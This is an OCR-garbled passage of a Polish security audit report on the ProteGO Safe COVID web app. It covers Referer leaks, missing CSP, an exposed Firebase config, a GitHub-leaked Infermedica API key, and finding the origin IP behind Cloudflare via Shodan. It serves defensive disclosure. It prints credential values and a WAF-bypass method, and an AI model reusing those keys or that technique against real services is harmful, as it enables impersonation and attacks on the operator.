\\\"chronicSicks\\\": [],\\\"name\\\":\\\"mojeImie\\\",\\\"sex\\\":\\\"female\\\",\\\" smokeNumber\\\" :null}

\",\"riskTest\":\"{\\\"1589203498\\\": {\\\"allQuestions\\\": [{\\\"explanation\\\":null,\\\"extras\\\": {},

VA i Fame\ A s T rhad rac WA s TS AV A AN\ " nracant ALY WAL HT2ha AV LH AN HTALANA Y JANA A
LOKALIZACIA

localStorage aplikacji webowej ProteGo Safe.

REKOMENDACIA

Zaleca sie wprowadzenie dodatkowego zabezpieczenia danych przechowywanych w localStorage.
Moze to by¢ opcjonalna mozliwos¢ podania przez uzytkownika hasta lub PIN-u, ktéry bedzie stuzy¢
do zaszyfrowania danych, a nastepnie odszyfrowywania ich po prawidtowym uwierzytelnieniu.

STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ nie zostata wyeliminowana.




Mozna jg powtdrzy¢ na podstawie tego samego scenariusza, co w sekcji ,Szczegoty techniczne”.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




[NOT APPLICABLE] [LOW] PROTEGO_SAFE-WEB-005: Brak nagtowka
Referrer-Policy

oriIs

Zidentyfikowano, ze aplikacja nie korzysta z nagtéwka HTTP Referrer-Policy.

Nagtowek ten pozwala okresli¢, jaka informacja ma by¢ umieszczana w nagtowku Referer
wysytanym w zapytaniach HTTP. Istnieje mozliwos¢ catkowitego wylgczenia wysytania tego
nagtowka, co z kolei moze pozwoli¢ unikng¢ wyciekéw danych do zewnetrznych serwerow.

W analizowanej aplikacji poprzez nagtéwek Referer mozliwy jest wyciek nastepujgcych informacii:

e wynik ,Testu oceny ryzyka” (informacja, ze wynik jest w grupie Niskiego lub Sredniego ryzyka
infekciji),

e czas wykonania ,Testu oceny ryzyka” lub wpisu w ,Dzienniku zdrowia”.

Wiecej informaciji:
e https://developer.mozilla.org/en-US/docs/\Web/HTTP/Headers/Referrer-Policy

e https://scotthelme.co.uk/a-new-security-header-referrer-policy/

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do logow zewnetrznego serwera.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przypadek #1 — wynik ,,Testu oceny ryzyka”:

1. Przejsc¢ do: ,Test oceny ryzyka” https://safesafe.app/risk-test

Nacisna¢ ,Wykonaj TEST oceny ryzyka”.
We wszystkich pytaniach zaznaczy¢ ,Zadne z powyzszych”.

Nacisng¢ ,Sprawdz wynik”.

o k& 0D

Zostanie wyswietlony wynik ankiety: ,Niskie ryzyko infekcji.”. Pod wynikiem znajdujg sie
zalecenia. Jedno z nich posiada hipertgcze do zewnetrznego serwisu gis.gov.pl:



® @ =] ProteGO Safe x |+

‘:;(_ > C'  © @& nhttps://safesafe.app e | D =
11-05-2020 kwalifikuje Cie T
do grupy: Niskie ryzyko
infekeji. ~—
wlla
v Wykonaj TEST oceny ryzyka
=
Czesto myj rece A

Regularnie myj recefiydtem i wodg lub

6. Klikng¢ na hipertgcze ,Sprawdz instrukcje”. Zostanie wystane nastepujace zadanie:

GET /zdrowie/zasady-prawidlowego-mycia-rak/ HTTP/1.1

Host: gis.gov.pl

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Referer: https://safesafe.app/

Upgrade-Insecure-Requests: 1

Analiza:
To samo hipertagcze znajduje sie w przypadku kwalifikacji w grupie ,Sredniego ryzyka
infekcji”. Jednakze w przypadku kwalifikacji w grupie ,Wysokiego ryzyka infekcji” w zadnym
z zalecen nie jest umieszczone hipertgcze. Ponadto, inne hipertgcza do serwisu gis.gov.pl
znajdujg sie w dziale ,Pytania i odpowiedzi”, skad jest wysytany inny nagtéwek (Referer:
https://safesafe.app/faq). Na tej podstawie mozna wywnioskowac, ze osoba, ktora
przeszta na strone gis.gov.pl/zdrowie/zasady-prawidlowego-mycia-rak/ z nagtodwkiem

Referer: https://safesafe.app/ uzyskata wynik ,Testu oceny ryzyka” w grupie Niskiego
lub Sredniego ryzyka infekcji.

securiTum +48 (12) 361 3337 www.securitum.pl
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Przypadek #2 — czas:

Jesli z dowolnego powodu czcionka z zewnetrznego serwisu fonts.googleapis.com nie zostanie
zatadowana od razu, istnieje mozliwosc¢, ze zostanie ona zatadowana w momencie przeglgdania
zapisanych wynikéw testu lub wpiséw w dzienniku zdrowia.

Przyktadowy adres testu oceny ryzyka wyglada nastepujgco:

https://safesafe.app/risk-test-data/1589059180

gdzie koncowa wartos¢ liczbowa to czas wykonania testu podany jako czas uniksowy (unix
timestamp- EPOCH). W podanym przyktadzie wartos¢ 1589059180 jest rowna dacie i godzinie: 09-
May-20 21:19:40 UTC.

Jesli czcionka zewnetrzna zostanie zatadowana w momencie przeglgdania powyzszego wpisu,
zostanie wystane nastepujgce zgdanie, zawierajgce czas wykonania testu w nagtowku Referer:

GET /css2?family=Open+Sans:ital,wght@o,400;0,600;0,700;1,300&display=swap HTTP/1.1

Host: fonts.googleapis.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/css,*/*;q0=0.1

Accept-Language: pl,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: https://safesafe.app/risk-test-data/158905918

Connection: close

Cache-Control: max-age=0

LOKALIZACIA

Aplikacja webowa ProteGo Safe: https://safesafe.app/

REKOMENDACIA

W odpowiedziach HTTP serwera powinien znajdowac sie nagtéwek Referrer-Policy:

Referrer-Policy: [wartosc]

gdzie w miejscu [wartosc] powinna znajdowac sie jedna z ponizszych wartosci:

e no-referrer: nagtdwek Referer nie bedzie nigdy wysytany w zapytaniach,

e same-origin: nagtowek Referer zostanie umieszczony tylko w zapytaniach w ramach tego
samego ,originu”; w pozostatych przypadkach — nie zostanie wystany.

STATUS PO RETESCIE (09.07.2020)

Podatnos¢ zostata czesciowo wyeliminowana.

Aplikacja zwraca nagtowek:

Referrer-Policy: strict-origin




Taka wartos¢ pozwala na wystanie ,originu” dokumentu w nagtéwku Referer, jesli poziom
bezpieczehstwa protokotu sie nie zmienia, tj. przyktadowo na stronie dostepnej przez protokot
HTTPS umieszczony jest odnosnik rowniez z protokotem HTTPS.

Przypadek #1 — wynik ,,Testu oceny ryzyka”:

Dla tego przypadku podatnos¢ nie zostata wyeliminowana. Zaréwno aplikacja safesafe.app, jak i
odnosniki, ktére sie na niej znajduja, uzywajg protokotu HTTPS. Oznacza to, ze przy przejsciu na
inng domene zostanie wystany nagtowek:

Referer: https://safesafe.app/

Ponadto, na stronie z wynikiem testu oceny ryzyka zostaty dodane nowe hipertgcza, ktére pozwalajg
na bardziej precyzyjne okreslenie wyniku tego testu przy odwiedzeniu konkretnych podstron:

Adres Wynik testu [ryzyko infekcji]

https://bit.ly/teleporady-lista

wysokie

https://gis.gov.pl/zdrowie/zasady-
prawidlowego-mycia-rak/

wysokie, Srednie lub niskie
(uzytkownik wykonat test)

https://pacjent.gov.pl/bez-maski-ani-rusz

wysokie

https://pacjent.gov.pl/podejrzewasz-ze-masz-

wysokie lub srednie

koronawirusa

Nie zidentyfikowano wystepowania ww. adreséw w innych czesciach serwisu.
Przypadek #2 — czas:

Dla tego przypadku podatno$¢ zostata wyeliminowana, poniewaz wysyfany jest tylko ,origin”
dokumentu — nagtdwek Referer nie zawiera petnej Sciezki.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swéj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-WEB-006: Nadmiarowe pole w
formularzu

oriIs

Aplikacja prosi o podanie imienia uzytkownika, cho¢ nie jest ono konieczne do prawidiowego jej
funkcjonowania. Pomimo ze dana ta jest przechowywana tylko lokalnie i nie jest przesytana nigdzie
poza przegladarke, moze to budzi¢ pewien niepokdj o prywatnosé uzytkownika.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogoiny
poziom bezpieczenstwa rozwigzania.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do przegladarki.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

1. Uruchomic niewypetniong danymi aplikacje.
2. Przejs$¢ przez poczatkowe ekrany informacyjne.

3. Aplikacja prosi o uzupetnienie imienia:

® ® =] ProteGO Safe X | +

‘ | => G | © @& https://safesafe.app e | D =
q"}l ProteGO Safe

1 2 3 4

Poméz sobie i innym.
Zaczynamy!

Jak masz na imie?

Oswiadczam, ze zapoznatem/am sie z
D Regulaminem ProteGO Safe oraz Polityka
Prywatnosci i akceptuje ich postanowienia.

LOKALIZACIA

Aplikacja webowa ProteGo Safe: https://safesafe.app/

REKOMENDACIA

Zaleca sie usuniecie z aplikacji pola z imieniem.




STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostato wdrozone.
Mozna to zweryfikowac na podstawie tego samego scenariusza, co w sekcji ,Szczegoty techniczne”.

Nalezy zauwazy¢, ze celem testdéw nie byta analiza aspektow prywatnos$ci. Niniejszy punkt stanowi
jedynie pochodng testow bezpieczenstwa.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Zalecenie nie jest w takiej
sytuacji dtuzej aktualne.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-WEB-007: Wczytywanie
skryptow zewnetrznych podmiotdéw trzecich

oriIs

Aplikacja webowa wczytuje i wykonuje zewnetrzne skrypty podmiotéw trzecich. Dodatkowo
tadowane biblioteki nie posiadajg atrybutu integrity weryfikujgcego sume kontrolng wykonywanego
kodu. Atakujgcy, ktéry uzyska dostep do hostéw serwujgcych kod lub zidentyfikuje podatnosé typu
Web Cache Poisoning bedzie miat mozliwos¢ wykonania wtasnego kodu w kontekscie domeny
safesafe.app.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

Wiecej informaciji:

e https://developer.mozilla.org/pl/docs/\Web/Bezpiecze%C5%84 stwo/Subresource Integrity

e https://portswigger.net/research/practical-web-cache-poisoning

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

o Uzyskanie dostepu do serwerdéw dostarczajgcych kod, lub

e Wykonanie ataku typu Web Cache Poisoning.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Lista hostow serwujgcych zewnetrzne skrypty:

e storage.googleapis.com

LOKALIZACIA

Aplikacja webowa ProteGo Safe: https://safesafe.app/

REKOMENDACIA

Zaleca sie serwowanie kodu bibliotek JavaScript z tego samego hosta, z ktérego serwowana jest
reszta front-endu. Alternatywnym rozwigzaniem jest uzywanie zewnetrznych serwerdéw jednak
nalezy odpowiednio weryfikowac atrybut integrity.

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

Nalezy zaznaczy¢, ze w przypadku wczytywania skryptow przez funkcje JavaScript importScripts()
nie istnieje mozliwos¢ ustawienia atrybutu integrity.




STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Zalecenie nie jest w takiej
sytuacji dtuzej aktualne.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-WEB-008: Domysine pliki
aplikacji

oriIs

W trakcie testow zaobserwowano, iz na serwerze znajduje sie plik konfiguracyjny Firebase
zawierajgcy informacje o docelowym adresie serwera front-end’'owego. Atakujgcy wykorzystujgc ten
fakt, moze wysyta¢ zapytania bezposrednio do docelowego serwera front-endowego z pominieciem
mechanizmu Cloudflare.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Brak.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Plik dostepny pod adresem https://safesafe.app/ _/firebase/init.js:

if (typeof firebase === 'undefined') throw new Error('hosting/init-error: Firebase SDK not detected.
You must include it before /__/firebase/init.js');
firebase.initializeApp({
"apiKey": "AIzaSyCZl4uXFRkEAgznKk4NcsJfDKtgonVvlS78",
"appId": "1:466787798978:web:7dffa327802fe8801al05b",
"authDomain": "safesafe-app.firebaseapp.com",
"databaseURL": "https://safesafe-app.firebaseio.com",
"measurementId": "G-F2MOZJHY1H",
"messagingSenderId": "466787798978",
"projectId": "safesafe-app",
"storageBucket": "safesafe-app.appspot.com"

Hs

LOKALIZACIA

https://safesafe.app/ /firebase/init.js

REKOMENDACIA

Zaleca sie wytgczenie publicznego dostepu do domysinych plikéw (nie tylko tych wyszczegdlnionych
w opisie).

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostalo wdrozone.

Nalezy zaznaczyé, ze w rozwigzaniu Firebase Hosting nie istnieje mozliwo$¢ wytgczenia dostepu do
wymienionego pliku.



STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Zalecenie nie jest w takiej
sytuacji dtuzej aktualne.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-WEB-009: Wdrozenie
nagtéwka Content-Security-Policy

oriIs

W odpowiedziach aplikacji nie zidentyfikowano wdrozonego nagtéwka Content-Security-Policy
(CSP).

Content Security Policy jest mechanizmem bezpieczenstwa dziatajgcym na poziomie przegladarek,
ktérego celem jest ochrona przed skutkami podatnosci dziatajgcych po stronie przegladarki (np.
podatnosci Cross-Site Scripting). CSP moze w znaczgcy sposoéb utrudni¢ wykorzystanie podatnosci,
jednak jego wdrozenie moze by¢ skomplikowane i moze wymagac istotnych zmian w strukturze
aplikaciji.

Gtéwng ideg CSP jest mozliwos¢ zdefiniowania listy dozwolonych zrddet, z ktérych bedg mogty by¢
tadowane zewnetrzne zasoby na stronie. Przyktadowo, w przypadku zdefiniowania ponizszej polityki
CSP:

‘Content—Security—Policy: default-src 'self’

Wszystkie zewnetrzne zasoby na stronie bedg mogty by¢ tadowane wytgcznie z domeny aplikaciji
('self'), co za tym idzie proba zatadowania skryptu lub obrazka z innych domen zakonczy sie
niepowodzeniem. W takim wdrozeniu niemozliwe jest rowniez definiowanie kodu skryptow
bezposrednio w kodzie HTML, np.

‘ <script>jQuery.ajax(...)</script> ‘

Wszystkie skrypty muszg by¢ zdefiniowane w zewnetrznych plikach, np.

‘ <script src="/app.js"></script> ‘

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogolny
poziom bezpieczenstwa rozwigzania.

Wiecej informacji dotyczacych wdrozenia Content-Security-Policy mozna znalez¢ pod adresem:

e https://sekurak.pl/wszystko-o-csp-2-0-content-security-policy-jako-uniwersalny-straznik-
bezpieczenstwa-aplikacji-webowej/

LOKALIZACIA

Aplikacja webowa ProteGo Safe: https://safesafe.app/

REKOMENDACIA

Zaleca sie rozwazy¢ wdrozenie nagtdwka Content-Security-Policy. W tym celu nalezy zdefiniowaé
wszystkie domeny, z ktérych pobierane sg zasoby w aplikacji (obrazki, skrypty, elementy
audio/wideo, style CSS itp.) i na ich podstawie zbudowac polityke CSP.

W przypadku uzywania duzej liczby skryptow zdefiniowanych bezposrednio w kodzie HTML (tagi
<script> lub zdarzenia takie jak onclick), nalezy je umiesci¢ w zewnetrznych plikach JS lub
skorzystac¢ z polityk typu nonce.

Wiecej informacji zawarto w ponizszych tgczach:



e https://csp-evaluator.withgoogle.com/

e https://report-uri.com/home/generate

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

Aplikacja zwraca nagtowek:

Content-Security-Policy: default-src 'self' api-v4.safesafe.app cdn.safesafe.app
storage.googleapis.com; style-src 'self' ‘'unsafe-inline' fonts.googleapis.com; script-src 'self'
'unsafe-inline' ‘'unsafe-eval' storage.googleapis.com; font-src 'self' data: fonts.gstatic.com

fonts.googleapis.com ; upgrade-insecure-requests

jednak polityka CSP nie zostata wdrozona zgodnie z rekomendacjg i najlepszymi praktykami
bezpieczenstwa.

Uzycie 'unsafe-inline' zezwala przegladarce na wykonanie kodu JavaScript m.in. znajdujacego sie
jako fragment strony, wewnatrz znacznika <script>. Aplikacja zawiera taki kod, lecz
rekomendowanym rozwigzaniem jest przeniesienie go do osobnego pliku, ktory bedzie wczytywany
oraz usuniecie 'unsafe-inline' z przygotowanej polityki CSP.

Uzycie 'unsafe-eval' dopuszcza mozliwos¢ wykonywania wbudowanych funkcji jezyka JavaScript
takich jak eval(), ktéra wykonuje podany jej jako argument cigg znakéw jakby byt to kod JavaScript.
W aplikacji nie zidentyfikowano miejsc, ktore tego wymagajg. Zaleca si¢ usunigcie 'unsafe-eval' z
przygotowanej polityki CSP.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swoj telefon. Zalecenie nie jest w takiej
sytuacji dtuzej aktualne.




Podatnosci w kodzie zrodtowym aplikacji webowej

(safesafe.app)
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oris

Audyt wykazat, ze repozytorium aplikacji w serwisie Github zawiera klucz API Infermedica. Z jego
uzyciem mozliwe jest przesytanie ruchu bezposrednio do api.infermedica.com podszywajgc sie pod
aplikacje ProteGo Safe.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Brak.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Klucz API Infermedica dostepny jest pod adresem https://github.com/Prote GO-
Safe/web/commit/d203de32db710cfe19dfd19eef0460f5694e174d.
Zrzut ekranu:

& github.com/ProteGO-Safe/web/commit/d203de32db710cfe19dfd19eef0460f5694e174d

<> Code Issues 7 Pull requests 0 Actions Projects 0 Security 0 Insights

add redux, axon, thunk Browse files
P master © 3.01 .. 10

TomaszMolenda committed on 20 Mar 1 parent 4d2168c  commit d203de32db710cfel9dfd19eef@460f5694e174d
Showing 14 changed files with 131 additions and 95 deletions. ‘ Unified | Split
v 2 Em src/repository/Repository.js @

b4 @e -6,7 +6,7 @@ const baseURL = “${baseDomain}/covid19";

const Repository = axios.create({ baseURL });

Repository.interceptors.request.use(config => {
9 - config.headers = { "App-Id": "XXXXXX", "App-Key": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "Model": "infermedica-pl" };
9+ config.headers = { "App-Id": "adf@9874", "App-Key": 66,3 ', "Model": "infermedica-pl" };
return config;
}, error => Promise.reject(error));

R

LOKALIZACIA

https://qithub.com/Prote GO-Safe/web/commit/d203de32db710cfe19dfd19eef0460f5694e174d

REKOMENDACIA

Zaleca sie zmiane klucza APl ze wzgledu na jego wyciek. Przed upublicznieniem kodu aplikacji
nalezy zwracac¢ uwage, czy nie zawiera on poufnych danych.

STATUS PO RETESCIE (09.07.2020)
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Podatnos¢ zostata czesciowo wyeliminowana.

W najnowszej wersji kodu (na dzien retestow, 9 lipca 2020 r.) plik, w ktérym byty umieszczone klucze
API, zostat catkowicie usuniety. Fragment kodu z kluczami API nie wystepuje w zadnym innym pliku.

Klucz wskazany w sekcji ,Szczegoty techniczne” nadal jest dostepny publicznie.
Nie udato sie zweryfikowac, czy klucz w aplikacji webowej zostat zmieniony.
W zwigzku z powyzszym nalezy:

1. Zmieni¢ klucz API w aplikacji webowej, jesli jeszcze nie zostato to wykonane.

2. Powiadomi¢ dostawce API o wycieku klucza, by klucz zostat uniewazniony.

3. Usung¢ wrazliwe dane z  repozytorium  Github -  wiecej informaciji:
https://docs.qgithub.com/en/github/authenticating-to-github/removing-sensitive-data-from-a-
repository

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




[NOT APPLICABLE] [LOW] PROTEGO_SAFE-KOD-WEB-002: Nieaktualna
wersja uzytej biblioteki

oriIs

Jednym z komponentow audytowanej aplikacji sg biblioteki uzyte w kodzie. Jedna z nich: yargs-
parser wystepuje w wersji 11.1.1 oraz 5.0.0. Nie s3 to aktualne wersje biblioteki, a dodatkowo w sieci
mozna znalez¢ informacje, ze posiadajg one znane bfedy bezpieczenstwa.

W trakcie testéw nie udato sie przygotowac dziatajgcego Proof of Concept z wykorzystaniem
opisywanej podatnosci, niemniej sam fakt wykorzystania oprogramowania posiadajgcego znane
podatnosci bezpieczenstwa wyczerpuje warunek konieczny do umieszczenia takiej informacji w
raporcie.

Wiecej informaciji:
e https://npmjs.com/advisories/1500

e https://owasp.org/www-project-top-ten/OWASP Top Ten 2017/Top 10-2017 A9-
Using Components with Known Vulnerabilities

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Wykorzystanie podatnosci w wymienionej bibliotece oraz mozliwos¢ eksploitacji podatnosci.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej przedstawiono tabele zawierajgcg zidentyfikowane podatnosci:

PODATNY ISTOTNOSC IDENTYFIKATOR | WIECEJ INFORMACJI

KOMPONENT PODATNOSCI CVE

YARGS-PARSER LOW - https://npmjs.com/advisories/1500
LOKALIZACIA

Aplikacja webowa ProteGO Safe.

REKOMENDACIA

Zaleca sie jak najszybszg aktualizacje komponentéw aplikacji do najnowszych, stabilnych wersiji.

Wdrozenie narzedzi takich jak OWASP Dependency Check, a takze NPM AUDIT do procesu
budowania aplikacji moze poméc w informowaniu o nowych podatnosciach, ktére pojawiajg sie w
uzytych bibliotekach i ich wyeliminowaniu.

Wiecej informaciji:
e https://cheatsheetseries.owasp.org/cheatsheets/VVulnerable Dependency Management C
heat Sheet.html

e https://www.owasp.org/index.php/OWASP Dependency Check




e https://cheatsheetseries.owasp.org/cheatsheets/Third Party Javascript Management Che
at Sheet.html

STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ nie zostata wyeliminowana.

Zaleznosc¢ z podatnoscig nadal wystepuje w repozytorium.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostafa
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-KOD-WEB-003: Logger
aplikacji wpisuje do logéw zbyt wiele informacji

oriIs

W trakcie audytu kodu zrédtowego aplikacji zauwazono fragmenty kodu, ktdére wpisujg do logow
istotne z punku widzenia prywatnosci, informacje. Pomimo iz jest to log na poziomie ERROR, nalezy
unika¢ umieszczania w dzienniku aplikacji zbyt wielu szczegotowych informacji, szczegdlnie
w projekcie o tak wysokim nacisku na poufnos¢ danych.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do konsoli przeglgdarki ofiary ataku.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Fragmenty kodu logujgce zbyt wiele informacii:

e plik: src/services/nativeBridge/index.js metoda: receiveNativeResponse():

const receiveNativeResponse = (body, dataType, requestId) => {
try {
nativeRequests[requestId].resolve(body);
} catch (error) {
console.error('requestId', requestId, error);
nativeRequests[requestId].reject(error);
}

delete nativeRequests[requestId];

%

LOKALIZACIA

e src/services/nativeBridge/index.js

REKOMENDACIA

Zaleca sie nieumieszczanie w logach aplikacji istotnych z punku widzenia prywatnosci informaciji
takich jak tokeny, hasta czy inne wrazliwe dane.

Pomimo iz logi majg ogromng warto$¢ podczas rozwoju aplikacji, przed wejsciem na produkcje warto
zrobi¢ przeglad miejsc w kodzie, gdzie wystepujg loggery i zostawic tylko te najbardziej potrzebne,
jednoczesnie usuwajgc z nich wrazliwe dane.



STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

Fragment kodu z sekcji ,Szczegoty techniczne” nadal wystepuje w pliku.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Zalecenie nie jest w takiej
sytuacji dtuzej aktualne.




securitum

Podatnosci w infrastrukturze sieciowej

+48 (12) 361 3337
securitum@securitum.pl

www.securitum.pl
www.sekurak.pl

93



[IMPLEMENTED] [INFO] PROTEGO_SAFE-INFRA-001: Ustalenie adresu IP
serwera zrodtowego

oriIs

W trakcie audytu udato sie ustali¢ adres IP serwera ukrytego za chmurg Cloudflare. Atakujgcy
wykorzystujgc ten adres moze atakowal bezposrednio serwer omijajgc ochrone WAF,
przeprowadzac¢ ataki DoS lub probowac¢ zaatakowac inne dostepne ustugi.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogoiny
poziom bezpieczenstwa rozwigzania.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Adres IP serwera zrodtowego ukrytego za chmurg Cloudflare uzyskano poprzez dane uzyskane w
aplikacji shodan.io: https://www.shodan.io/host/35.198.124.103

W celu znalezienia hosta nalezy wykonaé jedno z ponizszych polecen:

Polecenie Location: http://developer.infermedica.com — znajduje serwer na podstawie tresci

ZWraca nej przez serwer:

Jwww.shodan.io/search?query=Location%3A-+https%3A%2F %2F developer.infermed N AR+ n @

& C o © & https:/

Enterprise Access Login g

[Location: https:/developer.infermedica.com [o} Explore Pricing

*% Maps

#% SHODAN

%% Exploits

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

301 Moved Permanently ('
& SSL Certificate HTTP/1.1 301 Moved Permanently
Google Cloud ss
CloudFlare, Inc. G
m #E United States X
L4 - Common Name: CloudFlare Origin Content-Length: 178
Certificate Connection: keep-alive
|- Organization:  CloudFlare, Inc. Location: https://developer.infermedica.com
Strict-Transport-Security: max-age=31536000; includeSubDomains
Supported SSL Versions X- -Options: SAMEORIGIN
United States 1 X-Frame-Options: SAMEORIGI
TLSVL, TLSVL.1, TLSvL.2, TLSVL.3 X-Con
Cannla Cloud 1

Polecenie ssl:safesafe — znajduje serwer na podstawie pola Subject Alternative Name

umieszczonego w certyfikacie SSL.

& Download Results

#% SHODAN

%% Exploits %% Maps W Share Search

L Create Report

Explore Downloads Reports

Pricing Enterprise Access am

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

301 Moved Permanently '
& SSL Certificate HTTP/1.1 301 Moved Permanently
Google Cloud ssued Server: ngl
on: CloudFlare, Inc. Date: Fri, 24 Apr 2020 0:26:57 GM
